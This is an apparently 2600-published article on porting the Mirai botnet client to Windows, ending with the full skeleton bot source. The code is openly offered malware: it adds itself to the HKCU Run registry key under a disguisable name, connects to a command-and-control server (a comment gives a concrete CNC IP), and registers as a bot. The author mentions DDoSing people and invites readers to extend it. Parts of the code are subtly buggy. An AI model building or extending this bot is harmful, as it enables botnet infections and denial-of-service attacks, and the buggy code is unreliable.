Porting IoT Malware to Windows

by august GL

I don't know how many of you remember, but there was a big trend in the past few years.  That big trend was botnets, specifically Internet of Things (IoT) botnets.

Botnets had been around for a while, but IoT ones really sprung up.  I'm not gonna get into too much detail about IoT, but the main targets for these types of botnets were routers and cameras.  People were also at one point scanning phones into their botnets.  The way IoT bot herders got their bots was by scanning ranges of IP addresses, looking for devices running SSH or (don't laugh, Chinese router vendors still use it) Telnet.  When they found these devices running SSH/Telnet, they would try a few username password combinations and, if they were successful, they would automatically download the actual malware onto the device, and boom!  Another one bites the dust.  I'm not gonna get into detail about scanning, and I most definitely will not teach you how to do it.

So what's the point of today's article?  Well I guess I want to show how easy it was for me to port a super popular IoT botnet malware onto the Windows platform.  First, let's talk about how it works!

Briefly, I'm gonna describe how Mirai works.  It's a TCP server written in Golang (Google's baby language which actually isn't that bad), multi-threaded so that it can handle many connections at once.  It receives a command from the bot herder (yeah, the hottie with a botnet!), and when a command is received, the server writes it to all the connected bots.  On the bot (malware/client) end, it receives the command into a string, parses the command, and then does whatever the bot herder told it to do.

So all the code you are seeing is windows C code, using the Windows API.  I won't include any of the Linux code because you can find that on GitHub.

But how did I port it to Windows?  Simple.  Sockets!  The original Mirai code for IoT used traditional UNIX sockets.  Well, Microsoft implemented their own socket library, called Winsock, which is actually pretty cool.  It's basically the same thing but for Windows.  The only difference is that when you first make a socket, you have to add the following code:

// code
  WSADATA wsaData;
  WSAStartup(MAKEWORD(2,2), &wsa);
// end code

You must do that once, and only once.  Any less and it won't work.  Any more and it will break Winsock.  I also will not explain WSAStartup in detail, but it basically specifies what version of Winsock your program wants to use, in this case 2.2, "(MAKEWORD(2,2) )", and it does some other fancy Windows API internal shit.

That part right there should go before you do any socket code.  In this case, it's in the establishconn() function.

// code
static void establishconn() {
  // DO NOT FUCKING REMOVE THIS
  WSAData wsa;
  iRes = WSAStartup(MAKEWORD(2,2), &wsa);
  // new socket
  dwMainCommSock = socket(AF_INET, SOCK_STREAM, 0);
  if (dwMainCommSock == -1) {
    // if socket fails, bConnection becomes false, showing no connection
    bConnection = FALSE;
  }
  // sockaddr struct, has information about socket
  SOCKADDR_IN sockaddr;
  sockaddr.sin_port = htons(69);
  sockaddr.sin_family = AF_INET;
  // Just change the IP (x.x.x.x)
  sockaddr.sin_addr.s_addr = inet_addr("x.x.x.x");
  // connects the socket to the server.
  // uses the sockaddr struct to pull info
  if (connect (dwMainCommSock, (SOCKADDR *) (&sockaddr), sizeof(sockaddr)) != 1) {
    // if successful, bConnection is TRUE
    bConnection = TRUE;
  }
}
// end code

That's the function for establishing a connection.  I'm not going to get too much into the logic of establishing a connection.  If you compare the original Mirai function to the one I made above, you will see they are actually pretty similar!  The main difference is WSAStartup, which is necessary.  You also use a different data structure for sockaddr.  In the original Mirai code (Linux), it uses:

struct sockaddr_in

In the windows code it has a different definition:

SOCKADDR_IN

but it's basically the same thing.  Moving on!  Once you have a connection, this is what the code looks like:

// code
char *chIdBuf = NULL;
//ZeroMemory(id_buf, sizeof(id_buf));
// this is a windows bot so the id_buf is "windows"
chIdBuf = (char *)"windows";
UINT8 uintIdLen = strlen(chIdBuf);  // length of the ID buffer

// sends 4 bytes to connect

send(dwMainCommSock, "\x00\x00\x00\x01", 4, NULL);
send(dwMainCommSock, (const char *)&uintIdLen, sizeof(uintIdLen), NULL);

// if the length of ID is greater than 0
if (uintIdLen > 0 ) {
  // sends the ID buffer
  send(dwMainCommSock, chIdBuf, uintIdLen, NULL);
}
// end code

You can see here (and in the comments) that this is a Windows bot, so the buffer will always be "windows".  It sends four bytes to connect to the server ("\x00\x00\x00\x01") and then it sends the ID buffer ("windows").

After that, you have to add code to receiving the buffer to parse.  In theory, you have to create a function to read from the socket until a newline character ("\n"), or figure out the length of the buffer to receive and then read that many bytes in.  In theory, it would look like this:

// code
int retval = recv(maincommsock, (char *) &len, sizeof(len), 0);
printf("retval: %d\n", retval);
len = htons(len);
if (retval == sizeof(len)) {
  retval = recv(maincommsock, (char *) rdbuf, len, 0);
  printf("retval: %d\n", retval);
  printf("RDBUF: %s\n", rdbuf);
}
// code

But that's something you gotta figure out yourself.  After that, it gets pretty illegal, adding parsing so you can use it to DDoS kids online... whatever.  But what did you learn today?

Well, you learned a few things.  You learned that porting Linux socket code over to Windows is pretty much as simple as two lines of code and messing with some data structures.  You also learned how the Mirai IoT botnet works, and how to make it work for Windows.  You can find the full code online at github.com/augustgl/Pluto and in the code section of 2600.com.  Feel free to compile it and test it yourself, and add on to it!

// made by augboi incorporated
// established 2002
// based out of hoboken NJ

// IMPORTANT NOTE
// DO NOT CHANGE THE EXTENSION TO .c
// IT BREAKS IT FOR SOME UNKNOWN REASON
// PROBABLY BECAUSE VISUAL STUDIO IS TERRIBLE SOFTWARE

// you may need to edit the mirai server 
// to handle windows clients

// to configure scroll down to establishconn()
// edit
// sockaddr.sin_addr.s_addr = inet_addr("209.141.33.126");
// x.x.x.x to your CNC IP address

// this is a skeleton
// I removed a bunch of code
// so most of these includes are useless

#define _WINSOCK_DEPRECATED_NO_WARNINGS
#define _CRT_SECURE_NO_WARNINGS

#include <WS2tcpip.h>
#include <WinSock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <stddef.h>
#include <io.h>

#include <ShlObj.h>

#pragma comment(lib, "ws2_32.lib")

#define MAX_WORDS 4096

DWORD dwMainCommSock; // main socket
BOOL bConnection = FALSE; // boolean value for connection
UINT8 uiLen; // not used

void AddToStartup() { 
	BYTE chPath[MAX_PATH]; // buffer for path to this file 
	GetModuleFileName(NULL, (LPSTR)chPath, MAX_PATH); // get's full path to file

	HKEY hNewVal; // registry handle

	// you should know what this does
	// change "client" to the fake name in the registry
	// or even better
	// generate a random string for the startup name 

	RegOpenKeyA(HKEY_CURRENT_USER, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hNewVal);
	RegSetValueEx(hNewVal, "client", 0, REG_SZ, chPath, sizeof(chPath));
	
	// closes registry handle

	RegCloseKey(hNewVal);
}

// establishes connection

static void establishconn() {

	// DO NOT FUCKING REMOVE THIS

	WSAData wsa;
	iRes = WSAStartup(MAKEWORD(2, 2), &wsa); 

	// REMOVING WSAStartup will break winsock. 
	// Don't add another one too, that will also break winsock

	// new socket 
	dwMainCommSock = socket(AF_INET, SOCK_STREAM, 0);
	if (dwMainCommSock == -1) {
		// if socket fails, bConnection becomes false, showing no connection
		bConnection = FALSE;
	}

	// sockaddr struct, has information about socket

	SOCKADDR_IN sockaddr;
	sockaddr.sin_port = htons(69); // port for C2, this might be different 
	sockaddr.sin_family = AF_INET;

	// Just change the IP

	sockaddr.sin_addr.s_addr = inet_addr("x.x.x.x");
	
	// connects the socket to the server.
	// uses the sockaddr struct to pull info

	if (connect(dwMainCommSock, (SOCKADDR *)(&sockaddr), sizeof(sockaddr)) != 1) {
		// if successful, bConnection is TRUE
		bConnection = TRUE;
	}
	
	// error message for debugging. 

	wchar_t *wchError = NULL;
	FormatMessageW(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS,
		NULL, WSAGetLastError(),
		MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
		(LPWSTR)&wchError, 0, NULL);
	fprintf(stderr, "%S\n", wchError);
	LocalFree(wchError);
	
}

// drops connection

static void drop_con() {
	if (dwMainCommSock == -1) { // if dwmaincommsock = -1
		closesocket(dwMainCommSock); // closes socket
		dwMainCommSock = -1;
	}
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) {
//int main() {
	
	
	AddToStartup(); // you should know what this does

	while (1) {


		//OutputDebugString("[*] CONNECTING TO SERVER");
		
		if (dwMainCommSock == -1) { // if socket is -1
			establishconn(); // establish connection
		}

		if (!bConnection) { // if bConnection is FALSE
			drop_con(); // drop connection
			Sleep(1); // sleep for 1 millisecond
			establishconn(); // try again
		}
		
		if (bConnection){ // uwu what's this? connection succsessful?
			// chIdBuf is for the buffer 
			// that the server needs to identify
			// the OS the client is running

			char *chIdBuf = NULL;
			//ZeroMemory(id_buf, sizeof(id_buf));
			// this is a windows bot
			// so the id buf is "windows"
			chIdBuf = (char *)"windows"; 
			UINT8 uintIdLen = strlen(chIdBuf); // length of the ID buffer

			// sends 4 bytes to connect
			// the 4 bytes identify it as a bot
			// and not a botherder

			send(dwMainCommSock, "\x00\x00\x00\x01", 4, NULL);
			send(dwMainCommSock, (const char *)&uintIdLen, sizeof(uintIdLen), NULL);

			if (uintIdLen > 0) { // if the length of ID is greater than 0
				// sends the ID buffer
				send(dwMainCommSock, chIdBuf, uintIdLen, NULL);
			}


			unsigned char chReadBuf[256] = { 0 };
			UINT16 uiLen;	
			/*
			int retval = recv(maincommsock, (char *)&len,sizeof(len), 0);	
			printf("retval: %d\n", retval);
			len = htons(len);
			if (retval == sizeof(len)) {
				retval = recv(maincommsock, (char *)rdbuf, len, 0);
				printf("retval: %d\n", retval);

				printf("RDBUF: %s\n", rdbuf);
			}
			*/
			
		}
	}

	return 0;
}

Code: pluto.cpp

Return to $2600 Index